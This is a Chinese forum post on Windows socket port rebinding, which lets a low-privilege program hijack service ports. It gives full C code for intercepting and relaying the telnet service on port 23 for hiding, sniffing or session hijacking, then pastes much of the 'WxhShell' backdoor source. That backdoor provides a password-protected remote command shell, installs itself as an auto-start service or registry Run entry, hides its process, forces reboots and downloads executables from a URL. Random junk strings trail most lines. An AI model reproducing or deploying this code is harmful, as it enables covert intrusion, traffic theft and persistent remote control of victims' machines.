社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9030阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +A\V)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .1{l[[= W  
R;'?;I  
  saddr.sin_family = AF_INET; )qd= {  
2vvh|?M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C`EY5"N r  
GW8CaTf~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t R ;{.  
R\y'_S=#a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O5OXw]  
[xf$VkjuF  
  这意味着什么?意味着可以进行如下的攻击: IM]h*YV'  
O8y9dX-2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  p[Hr39o  
Fv@tD4I>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6klD22b2$  
HzEGq,.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^/<|f,2  
)# PtV~64  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  snq;:n!   
j%WY ,2P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QoseS/  
e96#2A5f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?Q?598MC  
#Qsk}Gv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X  Ny Y$  
r&Q t_  
  #include h1c{?xH2r  
  #include K"^cq~   
  #include Kr]W o8dWy  
  #include    x{?sn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !t% Q{`p  
  int main() qK,V$l(4#  
  { /tzlbI]z  
  WORD wVersionRequested; = hhvmo  
  DWORD ret; QoWR@u6a  
  WSADATA wsaData; Y$+QNi  
  BOOL val; )ji@k(x27q  
  SOCKADDR_IN saddr; 6Hl < ,(vn  
  SOCKADDR_IN scaddr; OEI3eizgH  
  int err; XR+rT  
  SOCKET s; #<]Iz'\`  
  SOCKET sc; Wp`C:H  
  int caddsize; x G^f  
  HANDLE mt; zQ<88E&&Xs  
  DWORD tid;   2NYi-@mr  
  wVersionRequested = MAKEWORD( 2, 2 ); _aY.  
  err = WSAStartup( wVersionRequested, &wsaData ); ,(;5%+#n  
  if ( err != 0 ) { 0O[l?e4,8{  
  printf("error!WSAStartup failed!\n"); )$h-ZYc  
  return -1; yf?W^{^|  
  } qCQu^S' iD  
  saddr.sin_family = AF_INET; I{EIHD<  
   3a9u"8lG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 + ~~ Z0.[  
%p*`h43;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iJ4 <f->t  
  saddr.sin_port = htons(23); F+3!uWUK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }k| g%H J  
  { sjb-Me?  
  printf("error!socket failed!\n"); \imp7}N  
  return -1; pND48 g;  
  } )vQNiik#  
  val = TRUE; 71*>L}H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PF6 7z]<o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t2U$m'(A&  
  { vbedk+dd?A  
  printf("error!setsockopt failed!\n"); nd;O(s;  
  return -1; kU1 %f o  
  } *W%'Di  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y qkX:jt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nNu[c[V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Pj._/$R[/  
W8VO)3nmD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i(P>Y2s  
  { M/l95fp   
  ret=GetLastError(); *#6|!%?g  
  printf("error!bind failed!\n"); R}hlDJ/m-  
  return -1; Y&:/~&'  
  } l@#b;M/  
  listen(s,2); K#@K"N =  
  while(1) G>JxIrN0  
  { J+i X,X  
  caddsize = sizeof(scaddr); Zik m?(J  
  //接受连接请求 xY+A]Up|w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pJn>oGeJ&  
  if(sc!=INVALID_SOCKET) @BXaA0F4  
  { Kn. iyR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?`"<DH~:0B  
  if(mt==NULL) Bu' :2"7  
  { [?|5 oaK  
  printf("Thread Creat Failed!\n"); pj+tjF6Np  
  break; =/m}rcDN  
  } PYaOH_X.  
  } eWw y28t  
  CloseHandle(mt); T%w(P ^qk  
  } g&P9UW>qS  
  closesocket(s); -: C[P  
  WSACleanup(); `!_?uT  
  return 0; ^>eFm8`N  
  }   Nl=+.d6 Qo  
  DWORD WINAPI ClientThread(LPVOID lpParam) jWhD5k@v  
  { r &=r/k2  
  SOCKET ss = (SOCKET)lpParam; WFXx70n  
  SOCKET sc; ${e -ffyy  
  unsigned char buf[4096]; 9'l.TcVm`,  
  SOCKADDR_IN saddr; kr6:{\DU:B  
  long num; $sM]BE:  
  DWORD val; L^&do98  
  DWORD ret; aK-N}T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eZ[#+0J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -^0KE/  
  saddr.sin_family = AF_INET; =qan%=0"h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I ;l`VtD  
  saddr.sin_port = htons(23); >"i~ x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~;` fC|)  
  { (Y&R0jt  
  printf("error!socket failed!\n"); =w t-YM  
  return -1; 8`6 LMQ  
  } xR _DY'z  
  val = 100; :3:)E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =\*S'Ded  
  { Q:rT 9&G  
  ret = GetLastError(); Xp.|.)Od  
  return -1; Y*"<@?n8?x  
  } hY)YX,f=S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \A~4\um  
  { jjNxatAN  
  ret = GetLastError(); H9/XW6W,"w  
  return -1; v#w4{.8)  
  }  PVS\,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g\E ._ab<  
  { f.sPE8 #3=  
  printf("error!socket connect failed!\n"); (Jm(}X]sh[  
  closesocket(sc); P~;<o! f  
  closesocket(ss); +ESX.Vel  
  return -1; !:&2+%  
  } S`iM.;|`O  
  while(1) @b4b{d5[  
  { H)-L%l|9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (gFQ K[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `;R|V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <ihhV e  
  num = recv(ss,buf,4096,0); Gt?!E6^ !  
  if(num>0) H;4oZ[g  
  send(sc,buf,num,0); uV/)Gb*j  
  else if(num==0) [<,0A]m   
  break; X*(gT1"t  
  num = recv(sc,buf,4096,0); *vEU}SxRuv  
  if(num>0) lrM.RM96  
  send(ss,buf,num,0); \z<ws&z3`$  
  else if(num==0) }Z<D^Z~w  
  break; MA l{66  
  } 3ZLr"O1l)  
  closesocket(ss);  zgZi  
  closesocket(sc); PpI+@:p[  
  return 0 ; YN$ndqOP  
  } Ov F8&*A  
EG8%~k+R  
"0p +SZ~D  
========================================================== HE8'N=0  
1v+JCOy  
下边附上一个代码,,WXhSHELL qQ3 ]E][/  
EY=\C$3J:  
========================================================== y=y/d>=w  
ufHuI*  
#include "stdafx.h" 6yV5Yjs  
ot&j HS'  
#include <stdio.h> ;))[P_$zB  
#include <string.h> 9J't[( u|u  
#include <windows.h> 3uB=L 7.  
#include <winsock2.h> ^d5gz0d  
#include <winsvc.h> OLhWkN,qA  
#include <urlmon.h> T<w*dX7F0K  
+-xSuR,  
#pragma comment (lib, "Ws2_32.lib") 1_p[*h  
#pragma comment (lib, "urlmon.lib") +Y_Q?/M@8  
A?%XO %  
#define MAX_USER   100 // 最大客户端连接数 TW;|G'}$  
#define BUF_SOCK   200 // sock buffer *rujdQf  
#define KEY_BUFF   255 // 输入 buffer $_%2D3-;D  
'US8"83  
#define REBOOT     0   // 重启 TZvBcNi   
#define SHUTDOWN   1   // 关机 &z{dr ~  
~)oWSo5ll  
#define DEF_PORT   5000 // 监听端口 Jv '3](  
z/Mhu{ttL  
#define REG_LEN     16   // 注册表键长度 8=!r nJCav  
#define SVC_LEN     80   // NT服务名长度 3(Hj7d7'}  
P"[ifs p  
// 从dll定义API )j)y5_m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j};pv2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >vNk kxWyQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8VBkIYgb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;@=@N9q K  
]DL> .<]d  
// wxhshell配置信息 + 3~Gc<OO  
struct WSCFG { giA~+m~fN  
  int ws_port;         // 监听端口 Z`0r]V`Ys  
  char ws_passstr[REG_LEN]; // 口令 K{`2jK#  
  int ws_autoins;       // 安装标记, 1=yes 0=no S]#=ES'^/  
  char ws_regname[REG_LEN]; // 注册表键名 mYsuNTx!.  
  char ws_svcname[REG_LEN]; // 服务名 {!:|.!-u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  P %U9S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z[$9B#P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4q@9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vh:UXE lm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pU'`9f Li_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zip K;!9by  
wUZ(Tin  
}; &j wnM  
 \!' {-J  
// default Wxhshell configuration ~]i]kU   
struct WSCFG wscfg={DEF_PORT, P"h,[{Y*>  
    "xuhuanlingzhe", 3>:zo:;  
    1, }SJLBy0  
    "Wxhshell", sbq44L)  
    "Wxhshell", wKeSPs{x  
            "WxhShell Service", /(WX!EEsB  
    "Wrsky Windows CmdShell Service", }AeE|RNc  
    "Please Input Your Password: ",  HC<BGIgL  
  1, \|b1s @c8  
  "http://www.wrsky.com/wxhshell.exe", D{Jc+Q$  
  "Wxhshell.exe" t"!8  
    }; F(J!dG5#  
%'D:bi5  
// 消息定义模块 Xbsj:Ko]]U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A<*tn?M]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tZc.%TU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =":V WHf  
char *msg_ws_ext="\n\rExit."; Nsy9 h}+A  
char *msg_ws_end="\n\rQuit."; z? b(|f\!  
char *msg_ws_boot="\n\rReboot..."; ADwwiq#E  
char *msg_ws_poff="\n\rShutdown..."; ;]O 7^s#v  
char *msg_ws_down="\n\rSave to "; Rp4BU"&sU  
[K|>s(Sf*  
char *msg_ws_err="\n\rErr!"; Br.$L  
char *msg_ws_ok="\n\rOK!"; L{o >D"  
>> 8KL`l  
char ExeFile[MAX_PATH]; ZCOuv6V+  
int nUser = 0; *|.yX%"k  
HANDLE handles[MAX_USER]; a\HtxR8L  
int OsIsNt; H?zCIue3  
{H7$uiq3:B  
SERVICE_STATUS       serviceStatus; KH6n3\=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7HR%rO?'  
7=M'n;!Mh  
// 函数声明 7+2aG  
int Install(void); *F4G qX3  
int Uninstall(void); +XaO?F[c  
int DownloadFile(char *sURL, SOCKET wsh);   _c7  
int Boot(int flag); ~]t2?SqNm  
void HideProc(void); yI)RG OV  
int GetOsVer(void); `- uZv  
int Wxhshell(SOCKET wsl); ss M9t  
void TalkWithClient(void *cs); 3\U,Kg  
int CmdShell(SOCKET sock); JwG5#CFu^  
int StartFromService(void); e^l+ #^fR  
int StartWxhshell(LPSTR lpCmdLine); 0 S`b;f  
oT5rX ,8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3Jk?)D y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :N'[d e  
uhN(`E@  
// 数据结构和表定义 l.W1$g  
SERVICE_TABLE_ENTRY DispatchTable[] = J|64b  
{ _tauhwu  
{wscfg.ws_svcname, NTServiceMain}, (L6]uNOG  
{NULL, NULL} /Z9`uK  
}; f+W[]KK*PW  
{TN@KB  
// 自我安装 c K}  
int Install(void) 6;=wuoJi  
{ @OL3&R  
  char svExeFile[MAX_PATH]; MsiC!j.-  
  HKEY key; Zo638*32  
  strcpy(svExeFile,ExeFile); tZ{q\+h  
|(8Hk@\CT>  
// 如果是win9x系统,修改注册表设为自启动 )bN3-_  
if(!OsIsNt) { `?S?)0B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5t1DB'K9$_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5<GRi "7A@  
  RegCloseKey(key); )^' B:ic  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { moM&2rgdrQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _/w-gL{  
  RegCloseKey(key); a*wJcJTpV"  
  return 0; x jUH<LFxy  
    } k~EPVJh"  
  } OQb9ijLeK  
} O=?X%m #  
else { y.]]V"'2  
|h~/Zz=  
// 如果是NT以上系统,安装为系统服务 RlPByG5K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c o%_~xO  
if (schSCManager!=0) arH\QPaka'  
{ J,M5<s[Xqt  
  SC_HANDLE schService = CreateService 36Y[7 m=  
  ( I z=w2\r  
  schSCManager, Xs,PT  
  wscfg.ws_svcname, rls#g w  
  wscfg.ws_svcdisp, \rnG 1o  
  SERVICE_ALL_ACCESS, T|iF/p]F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -v+^x`HR  
  SERVICE_AUTO_START, `j"G=%e3.  
  SERVICE_ERROR_NORMAL, 59J$SE  
  svExeFile, G78j$ ^/0  
  NULL, %_=R&m'n`  
  NULL, U=#ylQ   
  NULL, o 0 #]EMr  
  NULL, U$JIF/MO_  
  NULL -$|X\#R  
  ); R3!vS+5rR  
  if (schService!=0) T-8nUo}i  
  { "^e?E:( 3  
  CloseServiceHandle(schService); Gbm_xEPC  
  CloseServiceHandle(schSCManager); M[N.H9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z7pXpy \  
  strcat(svExeFile,wscfg.ws_svcname); imq(3?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =]mx"0i[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bvRGTOxO  
  RegCloseKey(key); >"{zrwNq  
  return 0; YqCK#zT/  
    } w=>mG-  
  } +rO<'H:umJ  
  CloseServiceHandle(schSCManager); o[W3/  
} g-gBg\y{v  
} cZT.vA#  
;+KgujfU  
return 1; ]@}BdMlHp  
} =v=!x  
yQ&%* ?J  
// 自我卸载 * CGdfdxW  
int Uninstall(void) &_hCs![  
{ 1>{-wL4rc  
  HKEY key; c^gIK1f-  
_%%"Y}  
if(!OsIsNt) { (>`SS#(T!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >^HTghgRD  
  RegDeleteValue(key,wscfg.ws_regname); 5&Kn #  
  RegCloseKey(key); ho$%7mc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G QBN-Qv  
  RegDeleteValue(key,wscfg.ws_regname); jz:c)C&/  
  RegCloseKey(key); ryLNMh  
  return 0; g'7hc~=  
  } u(`A?H:  
} O!Cu.9}  
} RteTz_ z{  
else { |Cq J2  
 M.^A`   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -)+DVG.t  
if (schSCManager!=0) ?O Nw*"9  
{ n{ WJ.Y*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9?,.zc^  
  if (schService!=0) 5FKd{V'  
  { {# _C  
  if(DeleteService(schService)!=0) { f+~!s 2uw  
  CloseServiceHandle(schService); M 7$4KFNp  
  CloseServiceHandle(schSCManager); !jnIXvT1qy  
  return 0; PdBhX  
  } L4Y3\4xXO  
  CloseServiceHandle(schService); )B4c;O4t  
  } #vwXxr  
  CloseServiceHandle(schSCManager);  kovzB]  
} JAlsc]XtO9  
} i_ TdI  
BQg]$Tr?  
return 1; }"k(kH  
} HNT8~s.2  
e/\_F+jyc  
// 从指定url下载文件 r0bPaAKw  
int DownloadFile(char *sURL, SOCKET wsh) H2cc).8"  
{ Isb^~c_P  
  HRESULT hr; 2MeavTr  
char seps[]= "/";  gOAluP  
char *token; =(\!,S'  
char *file; 4=:eGlU93U  
char myURL[MAX_PATH]; :!h H`l}p  
char myFILE[MAX_PATH]; !S{<Xc'wv  
!WnI`  
strcpy(myURL,sURL); ji=po;g=E  
  token=strtok(myURL,seps); z59J=?|  
  while(token!=NULL) ~-i?=  
  { S`KCVQ>V  
    file=token; }dl(9H=4  
  token=strtok(NULL,seps); RL9BB.  
  } !,"G/}'^;  
5 Vqvb|  
GetCurrentDirectory(MAX_PATH,myFILE); Jl ?Q}SB  
strcat(myFILE, "\\"); W7"sWaOhW  
strcat(myFILE, file); v}D!  
  send(wsh,myFILE,strlen(myFILE),0); *?&O8SSBH  
send(wsh,"...",3,0); iK:]Q8b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WQL`;uIX  
  if(hr==S_OK) h]P$L>  
return 0; mX_`rvYII  
else jXZNr  
return 1; |pY0IqO  
RoRVu,1  
} iKY&gnu"  
_AHVMsz@  
// 系统电源模块 YfKty0  
int Boot(int flag) )v0vdAh'b  
{ (5_(s`q.  
  HANDLE hToken; hBu =40K  
  TOKEN_PRIVILEGES tkp; t57b)5{FM  
mo$*KNW%\  
  if(OsIsNt) { k>`X! "  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &pz8vWCk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yqwr0yDAl  
    tkp.PrivilegeCount = 1; v g]&T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5yID%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {{,%p#/b  
if(flag==REBOOT) { )' #(1 ,1k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A?zW!'  
  return 0; Efl+`6`J  
} a06DeRCej  
else { oMbCljUC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kpu^:N &  
  return 0; (C%'I  
} i$bBN$<b<  
  } H_FhHX.2(  
  else { 8 Hn{CJ~'  
if(flag==REBOOT) { Q<pM tW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k~ue^^r}  
  return 0; %?jf.p*kY  
}  HV(Kz  
else { Jt8 v=<@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !A o?bs'  
  return 0; lOui{QU  
} gP@ni$n  
} +|;IIwo  
4KnDXQ%  
return 1; nabN.Ly  
} L?fv5 S3  
#UQ[8e  
// win9x进程隐藏模块 sh1()vT  
void HideProc(void) /slML~$t<  
{ 9@06]EI_  
,R+u%bmn#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =F4}  
  if ( hKernel != NULL ) 1F|+4  
  { e j9G[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wah`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?H&p zY~H  
    FreeLibrary(hKernel); `O/)q^m1L  
  } 51vK>  
PR+!CFi&  
return; !MC W t  
} ]O."M"B  
kokkZd7!  
// 获取操作系统版本 Ou^dI  
int GetOsVer(void) U VT8TN-T  
{ ! bp"pa9  
  OSVERSIONINFO winfo; qJ@?[|2R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $H^6I8>  
  GetVersionEx(&winfo); sq_:U_tJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pP @#|T  
  return 1; d\v _!7  
  else |}; ~YMH  
  return 0; 5h1j.t!  
} w9%gaK;  
,#G@ri:B  
// 客户端句柄模块 Z=|@76  
int Wxhshell(SOCKET wsl) ~#@EjQCq  
{ 5IMH G%W7  
  SOCKET wsh; ZeO>Ag^  
  struct sockaddr_in client; Dfea<5~^z  
  DWORD myID; `4CRpz  
:.cX3dP@  
  while(nUser<MAX_USER) / @&Sqv4?  
{ 3jNcL{  
  int nSize=sizeof(client); yrjm0BM#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;%1^k/b6t  
  if(wsh==INVALID_SOCKET) return 1; .<.qRq-  
pqe**`z@y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TO.NCO\x  
if(handles[nUser]==0) &a`-NRU#  
  closesocket(wsh); )~`zjVx_  
else jnTl%aQYc  
  nUser++; NQAnvX;  
  } sCUPa-cHF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gJ])A7O  
MPt7 /  
  return 0; p,Z6/e[SI  
} ?vVkZsU  
,"'agg:St  
// 关闭 socket 6]Jv3Re'(I  
void CloseIt(SOCKET wsh) "#7i-?=  
{ O v-I2  
closesocket(wsh); 4g 1h:I/  
nUser--; +FiV!nRkZ  
ExitThread(0); n'ro5D  
} =N=,;<6%A  
G<-.{Gx)  
// 客户端请求句柄 Z8 T{Xw6%  
void TalkWithClient(void *cs) 0pR04"`;  
{ ;Gi w7a)  
SCjACQ}-  
  SOCKET wsh=(SOCKET)cs; EP[ gq  
  char pwd[SVC_LEN]; ~K[rQ  
  char cmd[KEY_BUFF]; *=v RX!sI,  
char chr[1]; ?sO_c3^7z  
int i,j; \o^+'4hq<5  
9K49<u0O  
  while (nUser < MAX_USER) { c_iF S  
\c]/4C +/  
if(wscfg.ws_passstr) { 1$^{Uma  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;[xDc>&("Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )"1D-Bc\Q  
  //ZeroMemory(pwd,KEY_BUFF); <ygO?m{  
      i=0; "CaVT7L  
  while(i<SVC_LEN) {  en   
$OT:J  
  // 设置超时 H.9J}k1S  
  fd_set FdRead; bfJDF(=h  
  struct timeval TimeOut; ZD,l 2DQ?  
  FD_ZERO(&FdRead); 8[DD=[&  
  FD_SET(wsh,&FdRead); 4MM#\  
  TimeOut.tv_sec=8; !-QKh aY  
  TimeOut.tv_usec=0; Rwr0$_A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F4}Zl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;#;X@BhS  
gQ?k}D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +o/q@&v;Ax  
  pwd=chr[0]; s#Le`pGoW  
  if(chr[0]==0xd || chr[0]==0xa) { Ev()2 80  
  pwd=0; (~P&$$qfD  
  break; WDZEnauE  
  } .Ybm27Dk  
  i++; F kWJB>  
    } t`LH\]6@  
8ZN J}  
  // 如果是非法用户,关闭 socket MT9a1 >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R+m{nO~r  
} 0QGl'u{F  
 *) wp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &8;mcM//4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rl,B !SF  
$]Q_x?  
while(1) { 'g^]ZTxb  
T|E;U  
  ZeroMemory(cmd,KEY_BUFF); EGs z{c[8@  
}{lOsZA  
      // 自动支持客户端 telnet标准   B8 2A:t)  
  j=0; toQn]MT  
  while(j<KEY_BUFF) {  E5o0^^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s8tI_h  
  cmd[j]=chr[0]; }n<dyX:a  
  if(chr[0]==0xa || chr[0]==0xd) { !PO(Bfd  
  cmd[j]=0; tuv4~i<  
  break; 6@T_1  
  } 9u:MF0:W  
  j++; DF|qNX  
    } -F*j`  
&o?pZ(\C  
  // 下载文件 D`LwW` 9  
  if(strstr(cmd,"http://")) { jReI+ pS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LJBoS]~  
  if(DownloadFile(cmd,wsh)) i P/I% D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~[[a7$_4  
  else ] 03!K E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >_5D`^  
  } F~{ 4)`  
  else { KR{kn[2|Q  
m, *f6g  
    switch(cmd[0]) { 0[PP -]JS  
  9_HEImk  
  // 帮助 7ed*dXY*  
  case '?': { Vbwbc5m}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -5Ccuk>6  
    break; ^m5{:\ Xk  
  }  1 ft. ZJ  
  // 安装 5Wn6a$^  
  case 'i': { i G<|3I  
    if(Install()) js>6Du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d 5Il0sG  
    else ?"L>jr(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 /9,[A  
    break; Tp9LBF  
    } x[)S3U J  
  // 卸载 =P5SFMPN  
  case 'r': { z\;kjI  
    if(Uninstall()) 2[W Qq)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K[ylyQ1  
    else p,xM7V"O)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j Sddjs  
    break; s_RYYaM  
    } $+?6U  
  // 显示 wxhshell 所在路径 7}nOF{RH]  
  case 'p': { /A_ IS`  
    char svExeFile[MAX_PATH]; 9gWQGkql  
    strcpy(svExeFile,"\n\r"); )of_"gZ$3A  
      strcat(svExeFile,ExeFile); MT0}MMr  
        send(wsh,svExeFile,strlen(svExeFile),0); b?r0n]  
    break; w| >Y&/IX  
    } /a]+xL  
  // 重启 3 \kT#nr  
  case 'b': { I{M2nQi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {8t;nsdm!  
    if(Boot(REBOOT)) Ue8_Q8q5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;  I=z  
    else { E fqa*,k  
    closesocket(wsh); >(\[$  
    ExitThread(0); ZkqC1u3  
    } ka]n+"~==\  
